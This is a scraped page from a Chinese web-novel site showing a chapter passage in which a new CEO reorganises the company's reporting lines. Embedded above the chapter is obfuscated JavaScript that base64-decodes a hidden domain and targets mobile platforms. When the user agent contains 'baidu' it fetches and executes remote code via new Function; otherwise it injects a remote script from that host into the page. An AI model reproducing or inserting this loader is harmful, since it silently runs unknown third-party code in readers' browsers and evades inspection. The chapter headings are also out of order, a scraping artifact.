妙书阁小说

阅读记录  |   用户书架
上一章
目录 | 设置
下一页
function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};

第23章(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |

('或者,从另外一个方面来说,即便真的有基层员工,工作能力不匹配,不能完成交代的合理工作,跟不上公司的节奏,或者消极怠工对其他员工造成了负面影响,那要处理他们的也应该是其直属的部门领导和hr,而非他这个层面身份出面处理。

但中层以及高层则不同。

特别是高层,对于高级管理层来说,有分红有利润,拿到手的钱是普通职员的多少倍都不止。

高收入就得高付出,公司对其工作能力、工作态度的要求也理所应当的越强、越严格。

能者上位,一向是顾景之奉行的原则。

不论年纪、不论出身、不论性别,只要有能力,顾景之都愿意给机会,除此之外,在筛选核心团队时,顾景之还特别注重对方是否有坚韧的品格和职业道德,知道能做哪些,哪些线坚决不能碰。

跟蒋一凡谈话的时候,顾景之发现这个人除了意志坚定做事认真之外,对手里的品牌发展方向有自己的思考,而善于用脑,正是顾景之非常喜欢的品质之一。

顾景之示意他可以坐下了,蒋一凡坐下之后,顾景之再次开口:“至于奢华产品业务线,目前只有两个品牌,但这两个品牌需要研发符合产品定位的新品,目前由我来主导奢华品牌业务的新品研发工作。

研发中心主任已经离职,由其曾经的第一副手leon接任,行政级别副总裁。leon,yourdirectreportinglineisme.it&#039;suptoyoutodecidewhetheryouwanttoworkwithmeonthenewproductdevelopment.”(leon,你的直接汇报对象是我,新品研发工作由你来决定要不要跟我一起推进。)

第21章

“i&#039;dloveto!!actually,ijustcan&#039;twaittoworkwithyou!”(当然愿意!事实上我早就迫不及待想跟你一起工作啦!)顾景之笑道:“我也很期待。”

随后顾景之的目光落在会议桌上财务和法务负责人的身上。

“在前任ceo离职之后,张总代理负责的财务部门和法务部门,现在恢复正常汇报路径,财务总监、法务总监直接向我汇报工作。新的文件会后李巽会发给hrd,由hrd更新之后邮箱发给诸位。

我要再提醒一下大家,这次调整属于公司重大运营战略调整升级,在公司没有对媒体公布之前属于商业机密范畴需要严格保密,在对外公布之后,如果有媒体记者单独联系诸位,需要及时按照流程上报给新品牌公关中心,得到许可后,严格按照许曼他们提供的专业舆情应答口径回应媒体。

如果因为各位的某、些不小心,造成公司品牌声誉受损的话,法务部将严格按照新版管理条例追究其应付的法律责任,新版管理条例同样会由李巽发给法务总监,由法务总监发给诸位。好了,新的调整从下个月一号正式开始,大家有什么想补充的吗?”

许曼、秦程鹏和蒋一凡自然没有异议;财务、法务负责人,变动只是换了汇报路径,实际上不关他们的事,自然不愿意做出头鸟。

而品牌总经理代表们,只是变了老大,他们的工作没有发生调整,自然也不会出声。

上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间